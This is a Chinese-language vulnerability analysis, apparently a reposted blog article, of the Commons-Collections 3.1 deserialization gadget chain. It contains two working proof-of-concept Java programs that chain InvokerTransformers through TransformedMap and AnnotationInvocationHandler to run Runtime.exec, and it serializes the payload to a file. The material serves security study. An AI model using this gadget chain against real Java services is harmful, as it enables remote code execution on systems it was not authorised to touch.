commons-collections反序列化利用链分析(1)

admin 2025年1月2日10:32:44评论1 views字数 13797阅读45分59秒阅读模式

1. 序列化 与 反序列化

  • 定义序列化指 将 对象/数据结构状态信息 转换为可以存储传输的形式的过程,其过程称为反序列化

  • 作用

    • 将对象持久化存储介质以便再次使用

    • 使对象能在网络中传输

    • 如序列化格式独立于语言,可以实现不同语言之间对象的传递

  • 常见形式

    • 标准化格式:

      • 独立于语言/平台的格式:

        • 文本格式:xml,json等

        • 二进制格式:protobuf等

      • 特定语言规定的格式:各类编程语言自带序列化格式(如java,python)

    • 私有格式:。。。

  • 安全性思考

    • 一切安全问题都产生于输入,这里的输入就是攻击端序列化好后的对象,被攻击端反序列化该对象。

    • 大多数数据交换格式的实现中,序列化的对象仅可以包含属性,而不可以包含方法,所以不可能在序列化的过程中写入我们自己的代码仅能控制对象的属性

      ps. 反序列化端进程空间必须持有对象的类型信息和代码,否则无法正常的使用对象(如调用对象的方法)。

    • 被攻击端反序列化该对象的过程中或者反序列化该对象之后执行了依赖该对象的代码,我们就可以一定程度通过对象的属性影响被攻击端程序的运行逻辑。

    • 大多数数据交换格式的实现中,在对象反序列化的过程中,都会调用 默认的或该对象自定义的反序列化处理方法(如java中的ObjectInputStream.readObject 或 对象自定义的obj.readObject),所以反序列化漏洞大多出现在对象反序列化的过程中

2. common-collection-1利用链分析

  • The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.

    java collection 框架是jdk1.2 的主要补充,其增加了许多强大的数据结构,加速了大多数重要的java应用的开发。自那时起,它已经成为java处理集合的事实上的标准。

  • Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities.

    Common-Collections 通过提供新的接口,实现和工具(类)扩展了jdk 中java collection的功能。

漏洞分析环境:jdk1.7 , commons-collections-3.1,Intellij IDEA

poc_1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//复制这段代码 运行并调试
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class poc_1 {

public static void main(String[] args) throws Exception {
//构造一个Transformer(转换器)数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//用Transformer数组实例化Transformer链
Transformer transformerChain = new ChainedTransformer(transformers);

//创建HashMap
Map innerMap = new HashMap();
innerMap.put("value", "value");
//为map绑定Transformer链,生成TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//得到TransformedMap的一个Entry
Map.Entry onlyElement = (Map.Entry)outerMap.entrySet().iterator().next();
//设置TransformedMap的Entry时会通过Transformer链对Value进行转换,转换过程依次执行Transformer链中的Transformer.transform方法,触发代码执行。
onlyElement.setValue("foobar");
}
}
  • poc_1 第34行打断点,运行(f9)

    commons-collections反序列化利用链分析(1)

  • step into (f7)

    commons-collections反序列化利用链分析(1)

  • step into (f7)

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    valueTransformer类型为ChainedTransformer,其中包含1个ConstantTransformer,3个InvokerTransformer。然后调用了valueTransformer.transform对传入对象进行转换。

  • step into (f7),第59行打断点

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    ChainedTransformer的iTransformers是一个Transformer数组,维护了其Transformer链。ChainedTransformer使用其维护的Transformer链上的Transformer依次对对象进行转换。每个Transformer.transform输入一个对象并返回转换后的对象,转换后的对象传给下一个Transformer直到所有Transformer处理完毕。

  • step into * 2 (f7 两次),进入第一个Transformer(ConstantTransformer)的实现

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    返回java.lang.Runtime的class对象

  • 运行(f9),断在ChainedTransformer.transform的循环中

    commons-collections反序列化利用链分析(1)

  • step into(f7),进入第二个Transformer(InvokerTransformer)的实现,运行到第61行(alt+f9)

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    此Transformer输入对象是java.lang.Runtime类的class对象,调用class对象的getMethod方法获取到java.lang.Runtime.getRuntime方法,返回其Method对象。

  • 61行打断点(由poc知,后续所有的Transformer都是InvokerTransformer),f9两次,进入第三个Transformer(InvokerTransformer)实现

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    此Transformer输入对象是java.lang.Runtime.getRuntime方法的Method的对象,调用Method对象的invoke方法得到Runtime对象,返回Runtime对象。

  • f9两次,进入第四个Transformer(InvokerTransformer)实现

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    commons-collections反序列化利用链分析(1)

    此Transformer输入对象是Runtime对象,调用Runtime对象的exec方法弹出计算器。

总结
  • TransformedMap对Map进行了增强,可以通过设置针对key/value的Transformer对将要存入Map的key/value对象进行转换。

  • Transformer是个接口,调用Transformer.transform方法可以对对象进行转换(传入要转换的对象,返回转换后的对象),这里只关注其以下三种实现(三种实现均支持序列化!!!)

    • ConstantTransformer,无论要转换的对象是什么,都返回一个固定的转换后的对象。

    • InvokerTransformer,调用要转换对象的一个成员方法,该成员方法返回转换后的对象。

    • ChainedTransformer,可以接受一个Transformer数组生成一个转换链依次调用每个Transformer的transform方法对对象进行处理,前一个Transformer的输出对象作为后一个Transformer的输入。可以用ConstantTransformer初始化要转换的对象。

  • 如果想要调用一个对象的方法,可以定义一个ChainedTransformer。用ConstantTransformer初始化要转换的对象,用InvokerTransformer调用要转换对象的方法。定义ChainedTransformer只是定义了一个对象,其转换逻辑只有在TransformedMap 的key/value值被初始化或改变的时候才会触发(如poc_1对TransformedMap第一个Entry调用setValue方法触发转换逻辑)。

3. 能否在目标机运行poc_1中的恶意转换逻辑?

  • 需要找一个合适的输入点,将poc_1中代码插入目标程序

    但是一般情况下,很难有一个输入点可以让我们将自己的代码插入。即使有也不够通用,往往是一个命令执行的漏洞,如有一个groovy(groovy兼容java语法)命令执行的输入点(但都有命令执行了还看个泡泡茶壶=_=!)。

  • 所以只能利用程序中已加载代码,通过控制代码关联的数据间接控制代码的执行逻辑

    对java这种面向对象的语言来说,控制对象的属性就可以影响其方法的执行逻辑。有什么输入点可以比较方便的控制对象的属性?显然,反序列化(反序列化可以完全控制对象的属性,其他输入方式大多只能控制属性的一小部分字段)。如果目标程序存在反序列化输入点,我们就可以构造序列化好的对象发送给目标程序。

  • 目标何时调用被反序列化的对象关联的代码?

    • 如果该对象的类重写了readObject方法,反序列化该对象的过程中会调用该对象的readObject方法。

    • 反序列化对象以后,程序可能会使用反序列化后的对象,也可能调用其方法。

    显然,前种情况执行方法时机更加稳定(反序列化过程中readObject必然被调用到),后者执行方法时机则非常依赖程序对反序列化后对象的使用的策略(例如:可能先将反序列化后的对象维护到一个全局数据结构,很久以后才用)。所以我们优先考虑第一种情况。

  • 整理一下

    攻击端序列化一个对象发送给目标程序,目标程序反序列化过程中调用此对象的readObject方法,readObject触发恶意逻辑。

    由于readObject是目标程序定义的方法,我们无法修改,所以触发恶意逻辑的代码必须要尽可能的短,否则很难找到合适的反序列化输入点。

    好在common-collection1链的触发逻辑就非常短,(例如对绑定了恶意ChainedTransformer的TransformedMap调用put方法,或对TransformedMap的Entry调用setValue方法等)。

    因此,我们需要找一个漏洞触发类满足这样的条件:

    • 类在目标程序的代码空间里,且类可以序列化

    • 类中包含一个Map类型的属性,我们将其赋值为绑定了恶意ChainedTransformer的TransformedMap。

    • 其实现了readObject,readObject对Map属性(Map是一个接口,现在指向恶意TransformedMap)的key/value进行了更新(触发恶意逻辑)

    于是,攻击流程是这样(代码见poc_2,poc_2中漏洞触发类是AnnotationInvocationHandler):

    • 攻击者实例化一个漏洞触发类的对象,将map字段填充为绑定了恶意ChainedTransformer的TransformedMap对象。序列化并发送给目标机。

    • 目标收到并反序列化漏洞触发对象,调用readObject方法,对map字段的key/value进行更新,触发恶意的ChainedTransformer的转换逻辑,执行恶意代码。

    于是关键就是要找一个漏洞触发类,好在有巨佬(orz)已经找到了满足上述条件的类。

漏洞触发类AnnotationInvocationHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//poc_2中使用的漏洞触发类
//满足我们之前提到的漏洞触发类须满足的3个条件 1. 2. 3
//类的构造需要满足另外的条件(1)(2)...(6)

//1.此类在jdk中,必然会被加载,可序列化
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
//2.含有一个Map类型的属性,可以用构造方法对其赋值
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
//(1)var1.isAnnotation(): 传入的var1是注解的class对象
//(2)var3.length == 1: 该注解只实现了一个接口
//(3)var3[0] == Annotation.class: 该注解了实现java.lang.annotation.Annotation接口
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
//将传入的注解的class对象赋值给this.type
this.type = var1;
//将传入的TransformedMap赋值给this.memberValues
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
//获取传入注解关联的AnnotationType实例
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

//通过AnnotationType实例获取注解接口信息。注解接口信息是Map类型,key是注解接口中的方法名,value是该方法的返回类型
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
//迭代获取传入的TransformedMap的Entry
Entry var5 = (Entry)var4.next();
//获取Entry的key
String var6 = (String)var5.getKey();
//通过Entry中的key在注解接口信息中获取注解接口中对应方法的返回类型
//(4)Entry中的key必须也可以作为注解接口信息的key,即Entry的key必须等于注解接口的任一方法名(例如传入Target.class对象,那么TransformedMap的key必须是"value")
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
//获取Entry的value
Object var8 = var5.getValue();
//(5)Entry的value不是拿到注解接口信息中对应方法的返回类型的实例
//(6)Entry的value不是ExceptionProxy实例
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//3.实现了readObject方法,并在readObject方法中调用了对map value的更新方法,触发恶意转换逻辑
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

...
}

所以,将绑定了恶意ChainedTransformer的AnnotationInvocationHandler序列化发给目标程序即可。代码如下:

poc_2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
////复制这段代码 运行并调试
package com.company;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class poc_2 {

public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//构造一个Transformer(转换器)数组
Transformer[] transformers = new Transformer[] {
//Runtime不可序列化,但是Class可以,具体逻辑简单分析即可
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//用Transformer数组实例化Transformer链
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
innerMap.put("value", "value");
//为map绑定Transformer链,生成TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//通过反射找到 漏洞触发类AnnotationInvocationHandler的class对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
//取消构造函数修饰符限制
ctor.setAccessible(true);
//获取漏洞触发类AnnotationInvocationHandler的实例
Object instance = ctor.newInstance(Target.class, outerMap);

//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);

//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化漏洞触发对象,执行恶意的转换逻辑
fin.readObject();
}
}

4. TransformedMap介绍

  • java.util.Map 是一个接口,简称为Map,jdk中有不同的实现,这里统称为jdk_map_impl(如HashMap),是键值对的集合

  • org.apache.commons.collections.map.TransformedMap 简称 TransformedMap ,是common-collection对Map的实现,可以对jdk中的Map的实现进行增强

  • 怎么增强?TransformedMap可以 为jdk_map_impl(如HashMap)绑定一个KEY的Transformer和一个VALUE的Transformer,在向jdk_map_impl类型的对象写入键值对之前,会先调用其绑定的KEY和VALUE的Transformer.transform转换为新的KEY’和VALUE’后再写入,代码如下。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    //TransformedMap最终会间接继承AbstractMapDecorator一个map字段,并在调用TransformedMap.decorate的时候初始化它。AbstractMapDecorator实现了java.util.Map接口。
    public abstract class AbstractMapDecorator implements Map {
    protected transient Map map;
    ...
    }

    abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
    static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
    super(entry);
    this.parent = parent;
    }
    //实现了java.util.Map.Entry接口的setValue方法。可以给Map中某一键值对赋值。
    public Object setValue(Object value) {
    //调用TransformedMap.checkSetValue得到转换后的value对象
    value = this.parent.checkSetValue(value);
    return super.entry.setValue(value);
    }
    }
    ...
    }

    public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

    //调用静态方法TransformedMap.decorate,构造出一个TransformedMap对象。decorate有三个参数,可以将一个java.util.Map和key/value的Transformer绑定。
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
    }

    protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

    protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

    //调用valueTransformer.transform对value对象进行转换
    protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
    }

    //TransformedMap在对map字段进行填充时,会先调用相应的Transformer接口的transform方法对key/value对象进行转换。
    public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
    }
    ...
    }

Transformer有多种实现,这里只关注三种。

commons-collections反序列化利用链分析(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public interface Transformer {
//Transformer.transform输入一个类型的对象,转换成另一个类型的对象。
Object transform(Object var1);
}

public class ConstantTransformer implements Transformer, Serializable {
//设置要转换的目标对象
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

//将传入对象转换为固定的目标对象
public Object transform(Object input) {
return this.iConstant;
}
...
}

public class InvokerTransformer implements Transformer, Serializable {
//设置转换方法名和参数列表
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

//设置转换方法名和参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

//传入对象,反射调用转换方法,返回转换后的对象,转换方法由传入对象的类定义。
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
...
}

public class ChainedTransformer implements Transformer, Serializable {
//设置一个Transformer链
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

//遍历Transformer链,传入对象经多个Transformer依次处理后返回
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}
...
}

InvokerTransformer转换对象的流程如下(custom_method由in_obj的类自定义):
commons-collections反序列化利用链分析(1)

ChainedTransformer转换对象的流程如下:

commons-collections反序列化利用链分析(1)

poc来自:JAVA反序列化 - Commons-Collections组件

藏青师傅的建议下,通过cc1入门了一下反序列化漏洞

分析漏洞很多思路来源于和Mmuzz师傅的讨论,果然分布式学习是第一生产力!!!

第一次写文章超级痛苦,瓜哥给了很多行文上的指导

一直没能改的比较满意,但是再拖下去要被藏青师傅打死了(才不是因为实在不知道该怎么写0.0

漏洞分析两小时,文章写一周

果然写文章是阻碍进步的究极原因啊(不是

原文始发于微信公众号(雁行安全团队):commons-collections反序列化利用链分析(1)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日10:32:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   commons-collections反序列化利用链分析(1)https://cn-sec.com/archives/814996.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息